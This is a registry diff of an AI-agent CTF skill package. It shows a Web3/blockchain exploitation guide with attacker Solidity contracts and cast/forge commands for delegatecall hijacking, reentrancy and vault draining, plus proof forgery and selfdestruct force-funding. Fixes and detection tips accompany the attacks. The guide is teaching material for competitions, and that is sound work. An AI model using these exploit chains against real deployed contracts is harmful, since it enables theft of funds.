ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,374 @@
|
|
|
1
|
+
# CTF Web - Web3 / Blockchain Challenges
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Challenge Infrastructure Pattern](#challenge-infrastructure-pattern)
|
|
5
|
+
- [Auth Implementation (Python)](#auth-implementation-python)
|
|
6
|
+
- [EIP-1967 Proxy Pattern Exploitation](#eip-1967-proxy-pattern-exploitation)
|
|
7
|
+
- [ABI Coder v1 vs v2 - Dirty Address Bypass](#abi-coder-v1-vs-v2---dirty-address-bypass)
|
|
8
|
+
- [Solidity CBOR Metadata Stripping for Codehash Bypass](#solidity-cbor-metadata-stripping-for-codehash-bypass)
|
|
9
|
+
- [Non-Standard ABI Calldata Encoding](#non-standard-abi-calldata-encoding)
|
|
10
|
+
- [Solidity bytes32 String Encoding](#solidity-bytes32-string-encoding)
|
|
11
|
+
- [Complete Exploit Flow (House of Illusions)](#complete-exploit-flow-house-of-illusions)
|
|
12
|
+
- [Delegatecall Storage Context Abuse (EHAX 2026)](#delegatecall-storage-context-abuse-ehax-2026)
|
|
13
|
+
- [Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)](#groth16-proof-forgery-for-blockchain-governance-dicectf-2026)
|
|
14
|
+
- [Phantom Market Unresolve + Force-Funding (DiceCTF 2026)](#phantom-market-unresolve--force-funding-dicectf-2026)
|
|
15
|
+
- [Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)](#solidity-transient-storage-clearing-helper-collision-solidity-0828-0833)
|
|
16
|
+
- [Reentrancy Attack - DAO Pattern (DefCamp 2017)](#reentrancy-attack---dao-pattern-defcamp-2017)
|
|
17
|
+
- [Web3 CTF Tips](#web3-ctf-tips)
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Challenge Infrastructure Pattern
|
|
22
|
+
|
|
23
|
+
1. **Auth**: GET `/api/auth/nonce` → sign with `personal_sign` → POST `/api/auth/login`
|
|
24
|
+
2. **Instance creation**: Call `factory.createInstance()` on-chain (requires testnet ETH)
|
|
25
|
+
3. **Exploit**: Interact with deployed instance contracts
|
|
26
|
+
4. **Check**: GET `/api/challenges/check-solution` → returns flag if `isSolved()` is true
|
|
27
|
+
|
|
28
|
+
### Auth Implementation (Python)
|
|
29
|
+
```python
|
|
30
|
+
from eth_account import Account
|
|
31
|
+
from eth_account.messages import encode_defunct
|
|
32
|
+
import requests
|
|
33
|
+
|
|
34
|
+
acct = Account.from_key(PRIVATE_KEY)
|
|
35
|
+
s = requests.Session()
|
|
36
|
+
nonce = s.get(f'{BASE}/api/auth/nonce').json()['nonce']
|
|
37
|
+
msg = encode_defunct(text=nonce)
|
|
38
|
+
sig = acct.sign_message(msg)
|
|
39
|
+
r = s.post(f'{BASE}/api/auth/login', json={
|
|
40
|
+
'signedNonce': '0x' + sig.signature.hex(),
|
|
41
|
+
'nonce': nonce,
|
|
42
|
+
'account': acct.address.lower() # Challenge-specific: this server expected lowercase
|
|
43
|
+
})
|
|
44
|
+
s.cookies.set('token', r.json()['token'])
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**Key notes:**
|
|
48
|
+
- Some CTF servers expect lowercase addresses (not EIP-55 checksummed) — check the frontend JS to confirm. This is NOT universal; other challenges may require checksummed format
|
|
49
|
+
- Bundle.js contains chain ID, contract addresses, and auth flow details
|
|
50
|
+
- Use `cast` (Foundry) for on-chain interactions: `cast call`, `cast send`, `cast storage`
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## EIP-1967 Proxy Pattern Exploitation
|
|
55
|
+
|
|
56
|
+
**Storage slots:**
|
|
57
|
+
```text
|
|
58
|
+
Implementation: keccak256("eip1967.proxy.implementation") - 1
|
|
59
|
+
Admin: keccak256("eip1967.proxy.admin") - 1
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
cast storage $PROXY 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc # impl
|
|
64
|
+
cast storage $PROXY 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 # admin
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
**Key insight:** Proxy delegates calls to implementation, but storage lives on the proxy. `address(this)` in delegatecall = proxy address.
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
## ABI Coder v1 vs v2 - Dirty Address Bypass
|
|
72
|
+
|
|
73
|
+
Solidity 0.8.x defaults to ABI coder v2, which validates `address` parameters have zero upper 12 bytes. With `pragma abicoder v1`, no validation.
|
|
74
|
+
|
|
75
|
+
**Pattern (House of Illusions):**
|
|
76
|
+
1. Contract requires dirty address bytes but uses `address` type
|
|
77
|
+
2. ABI coder v2 rejects with empty revert data (`"0x"`)
|
|
78
|
+
3. Deploy with `pragma abicoder v1` → different bytecode, no validation
|
|
79
|
+
4. Swap implementation via proxy's upgrade function
|
|
80
|
+
|
|
81
|
+
**Detection:** Call reverts with empty data (`"0x"`) = ABI coder v2 validation.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## Solidity CBOR Metadata Stripping for Codehash Bypass
|
|
86
|
+
|
|
87
|
+
Proxy checks `keccak256(strippedCode) == ALLOWED_CODEHASH` where metadata is stripped.
|
|
88
|
+
|
|
89
|
+
```python
|
|
90
|
+
code = bytes.fromhex(bytecode[2:])
|
|
91
|
+
meta_len = int.from_bytes(code[-2:], 'big')
|
|
92
|
+
stripped = code[:len(code) - meta_len - 2]
|
|
93
|
+
codehash = keccak256(stripped)
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## Non-Standard ABI Calldata Encoding
|
|
99
|
+
|
|
100
|
+
**Overlapping calldata:** When contract enforces `msg.data.length == 100` but has `(address, bytes)` params:
|
|
101
|
+
```text
|
|
102
|
+
Standard: 4 + 32(addr) + 32(offset=0x40) + 32(len) + 32(data) = 132 bytes
|
|
103
|
+
Crafted: 4 + 32(dirty_addr) + 32(offset=0x20) + 32(sigil_data) = 100 bytes
|
|
104
|
+
```
|
|
105
|
+
Offset `0x20` serves dual purpose: offset pointer AND bytes length.
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Solidity bytes32 String Encoding
|
|
110
|
+
|
|
111
|
+
`bytes32("0xAnan or Tensai?")` stores ASCII left-aligned with zero padding:
|
|
112
|
+
```text
|
|
113
|
+
0x3078416e616e206f722054656e7361693f000000000000000000000000000000
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## Complete Exploit Flow (House of Illusions)
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
export PATH="$PATH:/Users/lcf/.foundry/bin"
|
|
122
|
+
RPC="https://ethereum-sepolia-rpc.publicnode.com"
|
|
123
|
+
|
|
124
|
+
forge create src/IllusionHouse.sol:IllusionHouse --private-key $KEY --rpc-url $RPC --broadcast
|
|
125
|
+
cast send $PROXY "reframe(address)" $NEW_IMPL --private-key $KEY --rpc-url $RPC
|
|
126
|
+
cast send $PROXY $CRAFTED_CALLDATA --private-key $KEY --rpc-url $RPC
|
|
127
|
+
cast send $PROXY "appointCurator(address)" $MY_ADDR --private-key $KEY --rpc-url $RPC
|
|
128
|
+
cast call $FACTORY "isSolved(address)(bool)" $MY_ADDR --rpc-url $RPC
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## Delegatecall Storage Context Abuse (EHAX 2026)
|
|
134
|
+
|
|
135
|
+
**Pattern (Heist v1):** Vault contract with `execute()` that does `delegatecall` to a governance contract. `setGovernance()` has **no access control**.
|
|
136
|
+
|
|
137
|
+
**Storage layout awareness:** `delegatecall` runs callee code in caller's storage context. If vault has:
|
|
138
|
+
- Slot 0: `paused` (bool) + `fee` (uint248) — packed
|
|
139
|
+
- Slot 1: `admin` (address)
|
|
140
|
+
- Slot 2: `governance` (address)
|
|
141
|
+
|
|
142
|
+
Writing to slot 0/1 in the delegated contract modifies the vault's `paused` and `admin`.
|
|
143
|
+
|
|
144
|
+
**Attack chain:**
|
|
145
|
+
1. Deploy attacker contract matching vault's storage layout
|
|
146
|
+
2. `setGovernance(attacker_address)` — no access control
|
|
147
|
+
3. `execute(abi.encodeWithSignature("attack(address)", player))` — delegatecall
|
|
148
|
+
4. Attacker's `attack()` writes `paused=false` to slot 0, `admin=player` to slot 1
|
|
149
|
+
5. `withdraw()` — now authorized as admin with vault unpaused
|
|
150
|
+
|
|
151
|
+
```solidity
|
|
152
|
+
contract Attacker {
|
|
153
|
+
bool public paused; // slot 0 (match vault layout)
|
|
154
|
+
uint248 public fee; // slot 0
|
|
155
|
+
address public admin; // slot 1
|
|
156
|
+
address public governance; // slot 2
|
|
157
|
+
|
|
158
|
+
function attack(address _newAdmin) public {
|
|
159
|
+
paused = false;
|
|
160
|
+
admin = _newAdmin;
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# Deploy attacker
|
|
167
|
+
forge create Attacker.sol:Attacker --rpc-url $RPC --private-key $KEY
|
|
168
|
+
# Hijack governance
|
|
169
|
+
cast send $VAULT "setGovernance(address)" $ATTACKER --rpc-url $RPC --private-key $KEY
|
|
170
|
+
# Execute delegatecall
|
|
171
|
+
CALLDATA=$(cast calldata "attack(address)" $PLAYER)
|
|
172
|
+
cast send $VAULT "execute(bytes)" $CALLDATA --rpc-url $RPC --private-key $KEY
|
|
173
|
+
# Drain
|
|
174
|
+
cast send $VAULT "withdraw()" --rpc-url $RPC --private-key $KEY
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
**Key insight:** Always check if `setGovernance()` / `setImplementation()` / upgrade functions have access control. Unprotected governance setters + delegatecall = full storage control.
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)
|
|
182
|
+
|
|
183
|
+
**Pattern (Housing Crisis):** DAO governance protected by Groth16 ZK proofs. Two ZK-specific vulnerabilities:
|
|
184
|
+
|
|
185
|
+
**Broken trusted setup (delta == gamma):** Trivially forge any proof:
|
|
186
|
+
```python
|
|
187
|
+
from py_ecc.bn128 import G1, G2, multiply, add, neg
|
|
188
|
+
|
|
189
|
+
# When vk_delta_2 == vk_gamma_2, set:
|
|
190
|
+
forged_A = vk_alpha1
|
|
191
|
+
forged_B = vk_beta2
|
|
192
|
+
forged_C = neg(vk_x) # negate the public input accumulator
|
|
193
|
+
# This verifies for ANY public inputs
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
**Proof replay (unconstrained nullifier):** DAO never tracks used `proposalNullifierHash` values. Extract a valid proof from the setup contract's deployment transaction and replay it for every proposal.
|
|
197
|
+
|
|
198
|
+
**When to check in Web3 challenges:**
|
|
199
|
+
1. Compare `vk_delta_2` and `vk_gamma_2` — if equal, Groth16 is trivially broken
|
|
200
|
+
2. Check if the verifier contract tracks proof nullifiers
|
|
201
|
+
3. Look for valid proofs in deployment/setup transactions
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Phantom Market Unresolve + Force-Funding (DiceCTF 2026)
|
|
206
|
+
|
|
207
|
+
**Pattern (Housing Crisis):** Prediction market with DAO governance. Three combined vulnerabilities drain the market.
|
|
208
|
+
|
|
209
|
+
**Vulnerability 1 — Phantom market betting:**
|
|
210
|
+
`bet()` checks `marketResolution[market] == 0` but NOT whether the market formally exists (no `market < nextMarketIndex` check). Bet on phantom market IDs (beyond `nextMarketIndex`).
|
|
211
|
+
|
|
212
|
+
**Vulnerability 2 — State persistence on unresolve:**
|
|
213
|
+
When `createMarket()` later reaches the phantom market ID, it writes `marketResolution[id] = 0`. This effectively "unresolves" the market, but old `totalYesBet`/`totalNoBet` values persist, enabling a second cashout.
|
|
214
|
+
|
|
215
|
+
**Vulnerability 3 — Force-fund via selfdestruct:**
|
|
216
|
+
```solidity
|
|
217
|
+
// EIP-6780: selfdestruct in constructor sends ETH even to contracts without receive()
|
|
218
|
+
contract ForceSend {
|
|
219
|
+
constructor(address payable target) payable {
|
|
220
|
+
selfdestruct(target); // Forces ETH into DAO
|
|
221
|
+
}
|
|
222
|
+
}
|
|
223
|
+
// Deploy: new ForceSend{value: amount}(dao_address)
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
**Drain cycle:**
|
|
227
|
+
1. Force-fund DAO with `2*marketBalance` wei
|
|
228
|
+
2. Helper1 bets 1 wei NO on phantom market N
|
|
229
|
+
3. DAO bets `2*marketBalance` YES via delegatecall proposal
|
|
230
|
+
4. Resolve market NO → Helper1 cashouts (net zero for market, but `totalYesBet` persists)
|
|
231
|
+
5. `createMarket()` reaches N → writes `marketResolution[N]=0` (unresolve)
|
|
232
|
+
6. Helper2 bets 1 wei NO → resolve NO → Helper2 cashout = `1 + totalYesBet/2 = 1 + marketBalance`
|
|
233
|
+
|
|
234
|
+
**Key math:** Payout = `helperBet + helperBet * totalYesBet / totalNoBet = 1 + 1 * 2*mBal / 2 = 1 + mBal`. Market had `mBal + 1`, pays `1 + mBal` → balance = 0.
|
|
235
|
+
|
|
236
|
+
**Gotchas:**
|
|
237
|
+
- **EVM `.call` with insufficient balance silently fails** — size DAO bet so payout ≤ market balance
|
|
238
|
+
- **ethers.js BigInt:** Use `!== 0n` not `!== 0` for comparisons
|
|
239
|
+
- **EIP-6780 selfdestruct:** Must be in constructor (not runtime) for same-tx contract deletion, but ETH transfer works either way
|
|
240
|
+
|
|
241
|
+
**When to check:** Prediction markets / betting contracts — always test: can you bet on non-existent market IDs? Does market creation reset resolution state without clearing bet totals?
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)
|
|
246
|
+
|
|
247
|
+
**Affected:** Solidity 0.8.28 through 0.8.33, IR pipeline only (`--via-ir` flag). Fixed in 0.8.34.
|
|
248
|
+
|
|
249
|
+
**Root cause:** The IR pipeline generates Yul helper functions for `delete` operations. The helper name is derived from the value type but **omits the storage location** (persistent vs. transient). When a contract uses `delete` on both a persistent and transient variable of the same type, both generate identically-named helpers. Whichever compiles first determines the implementation — the other uses the **wrong opcode** (`sstore` instead of `tstore` or vice versa).
|
|
250
|
+
|
|
251
|
+
**Vulnerable pattern:**
|
|
252
|
+
```solidity
|
|
253
|
+
contract Vulnerable {
|
|
254
|
+
address public owner; // persistent, slot 0
|
|
255
|
+
mapping(uint256 => address) public m; // persistent
|
|
256
|
+
address transient _lock; // transient
|
|
257
|
+
|
|
258
|
+
function guarded() external {
|
|
259
|
+
require(_lock == address(0), "locked");
|
|
260
|
+
_lock = msg.sender;
|
|
261
|
+
// BUG: delete _lock uses sstore (persistent) instead of tstore
|
|
262
|
+
// This writes zero to slot 0, overwriting owner!
|
|
263
|
+
delete _lock;
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
**Two exploit directions:**
|
|
269
|
+
1. **Transient `delete` uses `sstore`:** Overwrites persistent storage (slot 0 = owner/access control variables). Transient variable remains set, breaking reentrancy locks
|
|
270
|
+
2. **Persistent `delete` uses `tstore`:** Approvals/mappings cannot be revoked. The `tstore` write is discarded at transaction end
|
|
271
|
+
|
|
272
|
+
**Cross-type collisions via array clearing:** Array `.pop()`, `delete []`, and shrinking operations clear at slot granularity using `uint256` helpers. A `bool[]` clearing collides with `delete uint256 transient _temp`.
|
|
273
|
+
|
|
274
|
+
**Detection:**
|
|
275
|
+
```bash
|
|
276
|
+
# Compare Yul output — if storage_set_to_zero_ calls change to
|
|
277
|
+
# transient_storage_set_to_zero_ in 0.8.34, the contract was affected
|
|
278
|
+
solc --via-ir --ir Contract.sol > yul_output.txt
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
**Workaround:** Replace `delete _lock` with `_lock = address(0)` — direct zero assignment uses the correct opcode path.
|
|
282
|
+
|
|
283
|
+
**Key insight:** The bug requires all three conditions: `--via-ir` compilation, `delete` on a transient variable, and a matching-type persistent `delete` in the same compilation unit. No compiler warning is produced, and incorrect storage operations do not revert — they silently corrupt state.
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
## Reentrancy Attack - DAO Pattern (DefCamp 2017)
|
|
288
|
+
|
|
289
|
+
**Pattern:** A `withdraw()` function sends ETH via `msg.sender.call.value(amount)()` before updating the sender's balance. A malicious contract's fallback function re-calls `withdraw()` recursively, draining funds before the balance is ever zeroed.
|
|
290
|
+
|
|
291
|
+
```solidity
|
|
292
|
+
// Vulnerable contract:
|
|
293
|
+
contract VulnerableBank {
|
|
294
|
+
mapping(address => uint) public balances;
|
|
295
|
+
|
|
296
|
+
function deposit() public payable {
|
|
297
|
+
balances[msg.sender] += msg.value;
|
|
298
|
+
}
|
|
299
|
+
|
|
300
|
+
function withdraw() public {
|
|
301
|
+
uint amount = balances[msg.sender];
|
|
302
|
+
require(amount > 0);
|
|
303
|
+
// BUG: sends ETH before updating state
|
|
304
|
+
(bool success,) = msg.sender.call{value: amount}("");
|
|
305
|
+
require(success);
|
|
306
|
+
balances[msg.sender] = 0; // too late — attacker re-entered before this line
|
|
307
|
+
}
|
|
308
|
+
}
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
```solidity
|
|
312
|
+
// Attacker contract:
|
|
313
|
+
contract Attacker {
|
|
314
|
+
VulnerableBank public target;
|
|
315
|
+
uint public count;
|
|
316
|
+
|
|
317
|
+
constructor(address _target) {
|
|
318
|
+
target = VulnerableBank(_target);
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
function attack() external payable {
|
|
322
|
+
target.deposit{value: msg.value}();
|
|
323
|
+
target.withdraw();
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
// Fallback: re-enters withdraw() while balance hasn't been zeroed yet
|
|
327
|
+
receive() external payable {
|
|
328
|
+
if (count < 10 && address(target).balance >= msg.value) {
|
|
329
|
+
count++;
|
|
330
|
+
target.withdraw(); // re-entrant call
|
|
331
|
+
}
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
```python
|
|
337
|
+
# Deploy and trigger via web3.py / Foundry:
|
|
338
|
+
# forge create Attacker --constructor-args $VULNERABLE_ADDR --rpc-url $RPC --private-key $KEY
|
|
339
|
+
# cast send $ATTACKER "attack()" --value 1ether --rpc-url $RPC --private-key $KEY
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
**Fix patterns:**
|
|
343
|
+
```solidity
|
|
344
|
+
// Option 1: Checks-Effects-Interactions (zero balance BEFORE sending)
|
|
345
|
+
function withdraw() public {
|
|
346
|
+
uint amount = balances[msg.sender];
|
|
347
|
+
require(amount > 0);
|
|
348
|
+
balances[msg.sender] = 0; // effect first
|
|
349
|
+
(bool success,) = msg.sender.call{value: amount}("");
|
|
350
|
+
require(success);
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
// Option 2: Use transfer() — gas-limited to 2300 (not enough for re-entry)
|
|
354
|
+
payable(msg.sender).transfer(amount);
|
|
355
|
+
|
|
356
|
+
// Option 3: ReentrancyGuard (OpenZeppelin)
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
**Key insight:** External calls via `call.value()` before state updates create reentrancy — the attacker's fallback re-enters the vulnerable function before the first call completes. The DAO hack (2016) drained $60M using this exact pattern. Always zero balances or use a mutex before making external calls.
|
|
360
|
+
|
|
361
|
+
---
|
|
362
|
+
|
|
363
|
+
## Web3 CTF Tips
|
|
364
|
+
|
|
365
|
+
- **Factory pattern:** Instance = per-player contract. Check `playerToInstance(address)` mapping.
|
|
366
|
+
- **Proxy fallback:** All unrecognized calls go through delegatecall to implementation.
|
|
367
|
+
- **Upgrade functions:** Check if they have access control! Many challenges leave these open.
|
|
368
|
+
- **address(this) in delegatecall:** Always refers to the proxy, not the implementation.
|
|
369
|
+
- **Storage layout:** mappings use `keccak256(abi.encode(key, slot))` for storage location.
|
|
370
|
+
- **Empty revert data (`0x`):** Usually ABI decoder validation failure.
|
|
371
|
+
- **Contract nonce:** Starts at 1. Nonce = 1 means no child contracts created.
|
|
372
|
+
- **Derive child addresses:** `keccak256(rlp.encode([parent_address, nonce]))[-20:]`
|
|
373
|
+
- **Foundry tools:** `cast call` (read), `cast send` (write), `cast storage` (raw slots), `forge create` (deploy)
|
|
374
|
+
- **Sepolia faucets:** Google Cloud faucet (0.05 ETH), Alchemy, QuickNode
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ctf-writeup
|
|
3
|
+
description: Generates a single standardized submission-style CTF writeup for competition handoff and organizer review. Use after solving a CTF challenge to document the solution steps, tools used, and lessons learned in a structured format.
|
|
4
|
+
license: MIT
|
|
5
|
+
compatibility: Requires filesystem-based agent (Claude Code or similar) with bash and Python 3.
|
|
6
|
+
allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
|
|
7
|
+
metadata:
|
|
8
|
+
user-invocable: "true"
|
|
9
|
+
argument-hint: "[challenge-name]"
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
# CTF Write-up Generator & Lab Directory Standard
|
|
13
|
+
|
|
14
|
+
Generate a standardized submission-style CTF writeup and enforce clean repository organization for each lab.
|
|
15
|
+
|
|
16
|
+
## Lab Directory Structure Standard
|
|
17
|
+
|
|
18
|
+
Each lab directory must follow this clean and minimal structure:
|
|
19
|
+
|
|
20
|
+
```
|
|
21
|
+
